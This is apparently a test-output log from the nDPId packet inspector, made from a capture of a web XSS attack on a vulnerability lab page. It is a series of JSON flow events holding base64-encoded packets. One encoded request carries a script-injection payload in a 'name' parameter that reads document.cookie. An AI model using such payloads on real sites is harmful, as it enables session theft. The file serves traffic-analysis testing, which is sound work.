+00948{"flow_id":190,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2740,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":235695,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz8h5AAD4G0jqsEAABwKgKMtlQAFCuf9hMmPG2boAYAQLW5AAAAQEICgE6KMYD4\/lBR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":190,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2741,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":238692,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceVmRAAEAGZorAqAoyrBAAAQBQ2VCY8bZurn\/Zy4AYAPV9\/AAAAQEICgPj+j0BOijGSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIxOjM2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00434{"flow_id":190,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2742,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":239389,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08h9AAD4G07isEAABwKgKMtlQAFCuf9nLmPG9WIAQAR0eXAAAAQEICgE6KMcD4\/o9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2743,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1499347296462,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55686,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":193,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2743,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":462136,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8TjBAAD4Gd6CsEAABwKgKMtmGAFCTXWbOAAAAAKACchBgyQAAAgQFtAQCCAoBOij+AAAAAAEDAwc="} +00446{"flow_id":193,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2744,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":462257,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2YaJqN5wk11mz6AScSD7NQAAAgQFtAQCCAoD4\/p1AToo\/gEDAwc="} +00433{"flow_id":193,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2745,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":463031,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TjFAAD4Gd6esEAABwKgKMtmGAFCTXWbPiajecYAQAOWaPAAAAQEICgE6KP8D4\/p1"} +01217{"flow_id":190,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2746,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":463088,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ98iBAAD4G0W6sEAABwKgKMtlQAFCuf9nLmPG9WIAYAR0wfgAAAQEICgE6KP8D4\/o9R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjc4QzNaVk4yMVgxMTJIVks2UTZNMTA3RVRBSkI0REJKVlpNQkM1Mk5CM0s3T0pFMk5OVyUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02976{"flow_id":190,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2747,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":466072,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAVmZAAEAGZibAqAoyrBAAAQBQ2VCY8b1Yrn\/cFIAYAP5+XgAAAQEICgPj+nYBOij\/SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIxOjM2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye1PbOBD\/G2b6HXS6mQM6g9XAXR80cYckcNACpU2A3s3NeBRbSQSy5UpyAt\/+VrKdmGdwwwwTZGkfv9WuVrt6tdr8rfu10\/\/ndA+NTSzQ6Vn76LCD8CYhF9sdQrr9Lvpx0D8+Qg3vDeoZxUNDyN4JRnhsTLpDyHQ69abbnlQj0v9Orq2UhmUrhpva8XiRibD\/avXVatPpuY5FolsPyGh8+PAhZ83JV5pjRiMYrqw0Y2Yosiyb7GfGJy3ckYlhidns36QMozD\/amHDrg2xIj6icEyVZqZ11t\/ffI8RyWWuNA03gvnnmUiYogMuuLnZQd\/ZULDQsAh1lNQa9bhhqBcqnhqejND6j15vA+3soC6NE1TyCoYu2ADtpqngITVcJmi9e36xu4EmDa\/xBr3usgkTMo0B2usmyRUXKARPrpBiooW1uRFMjxkzGBmwpjAi1BqjsWLDFvY8An\/RZErtLIkpTzy3TO5L47AVpZz\/eExHjMDUbUlDOrFknluYydDO2iqESzqh+SxGWoW3gFxq9\/8UFHiXGvtNklMWniOF6+x4IKMbFAqqrddlzHDu0ohPEI9a2PoOLGKq8HplyQqpzK80eTy6h8QZqYmQI+mlyQgjKiAQFjhqbjdgBXX3VNtNDsBxWUX7vbUgpVHEotwgIMhEaaddbQsZXtmtERzJJATVVy085Ukkpx4sORyttdwSbw2XrMBAb7nLw\/4BbFuTUNhlwf3V5wjkCZy+LLRT2kvH6RPy75Ji\/7AyU08tHLgsXaBvRoP9nh0iAscPJlG3XVFGMuEvsaGTyvnmEB4DlRlGnkD1MAP22\/Y\/2pcqrOmBuwLZNQvrAHD02O\/IOKZJhA6TS+Y8shyKUKthHRSOHlD0vu8vp3jIifcphaPa4sCZRWxBlDyLH\/v7HA73oZ3RS+9NlgpJozq7U3AUMM7c15L+oamBm6uWiwoWd25ZmCmGOrun\/c7B7nJQ9E\/B6+Bw9HCmvx29VLBaicEALrdaTqlw3UGD1tt2emM5VFNGrwJeC1LJgv0LGKEe0zZa0WG3Znq9K\/da66AWkJwB+1DPQK3y9XjJrbDiVEW\/ZnkV9SwcqsQxK75eAI2uuxu6RNEzUt2GsOQV5M4iVJcLr8M5GfZt\/QjxkU\/V2w7g58lQLlBXocL+6cEpnI6hrKeIDmRmFqiZ0WB\/1w5fblttobdQ\/ZwI+0dufAdAUbHdqv0eLwRtCTsvBKGTsauFbrtWLQSb48avdBdQMjeKgrkifDKrYINQRiygitGifh5KFaOExlCtAz+UvS7FtfDvGEG3NJaA\/e+9flGbNtPC4osxNWsa3chMOeZPZWWdpFm1+MeFaPs7q2+rRDobxBzIJlRk8NnLPwttJPXzpoJYlDneVDH\/gAkhUdFq+FD5aykYeHi0vva+s\/3v+clW40ejsXVw\/uXtt7fHjTfv9vq7n9t\/dtufz\/89bnf+2jppb3959\/Xz3tbJycXaxseqhEiGme20vFDKK842Ps5aEoCjmHPN3MPN8ZZ\/DAfehb+KaX5ZwaRdK+IDonEeV7b51EXDKqdUp65nhRBl1zbMiPPspgbPBjPPBs6z0I5RNYJOFMOtRJMr7P+6rFkU18YH3AFUKYapYA\/aOjA36EB\/ZYJe0XrWxPi0vMU4WeJN+RVPWcSpE22\/qpbr0vLHsT1fxtN4CjPDEZ8l41DG9nrYHNKfnnuSeBDEMxifpTnHSQVTpuEkPKnuHnVVR5Hd8lAvO9eBgn43\/y1T2CMpr8g7oWBUzU7zQ3lR32jD4sDeJQ\/mh0FmjO2zi\/xwztkUwfFPZzk7lWmWBiWZTDp51p8\/OuwAxVm6jh657ScgMRiDRBuOnwCSqyn+KB3REnK6hjawjxbC6kEyDNnLAtNO5kJodjep4CPI24INIX82WeyfaaZs3t1pEvhCNIp5UrgQvsviAB3Z16WCBiTOKeBWP+z2ipWIa3t9RKUXH3XoUEpz67El9Zd57UofularCZjYizN\/F3Qvdv7\/c4E5T5IUAAA="} +00434{"flow_id":190,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2748,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347296,"pkt_ts_usec":466768,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08iFAAD4G07asEAABwKgKMtlQAFCuf9wUmPHEpIAQATsUNwAAAQEICgE6KQAD4\/p2"} +00949{"flow_id":190,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2749,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347297,"pkt_ts_usec":474563,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz8iJAAD4G0jasEAABwKgKMtlQAFCuf9wUmPHEpIAYATvCQgAAAQEICgE6KfwD4\/p2R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02822{"flow_id":190,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2750,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347297,"pkt_ts_usec":477653,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceVmhAAEAGZobAqAoyrBAAAQBQ2VCY8cSkrn\/dk4AYAQd9\/AAAAQEICgPj+3IBOin8SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIxOjM3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1499347297732,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55700,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":194,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2752,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347297,"pkt_ts_usec":732879,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LW1AAD4GmGOsEAABwKgKMtmUAFB7SgdRAAAAAKACchDXDQAAAgQFtAQCCAoBOio8AAAAAAEDAwc="} +00446{"flow_id":194,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2753,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347297,"pkt_ts_usec":733038,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2ZST\/kF5e0oHUqAScSAC3wAAAgQFtAQCCAoD4\/uyAToqPAEDAwc="} +00434{"flow_id":194,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2754,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347297,"pkt_ts_usec":733752,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LW5AAD4GmGqsEAABwKgKMtmUAFB7SgdSk\/5BeoAQAOWh5gAAAQEICgE6KjwD4\/uy"} +00433{"flow_id":191,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2758,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347298,"pkt_ts_usec":699456,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0A0BAAD4GwpisEAABwKgKMtleAFDMWSZni0xIfYARAOU3mAAAAQEICgE6Ky4D4\/bO"} +00434{"flow_id":191,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2759,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347298,"pkt_ts_usec":699645,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0tNlAAEAGDv\/AqAoyrBAAAQBQ2V6LTEh9zFkmaIARAOMxwwAAAQEICgPj\/KQBOisu"} +00433{"flow_id":191,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2760,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347298,"pkt_ts_usec":700360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0A0FAAD4GwpesEAABwKgKMtleAFDMWSZoi0xIfoAQAOUxwQAAAQEICgE6Ky4D4\/yk"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2770,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1499347300263,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55726,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":195,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2770,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347300,"pkt_ts_usec":263398,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8bohAAD4GV0isEAABwKgKMtmuAFBvk0I9AAAAAKACchClRQAAAgQFtAQCCAoBOiy1AAAAAAEDAwc="} 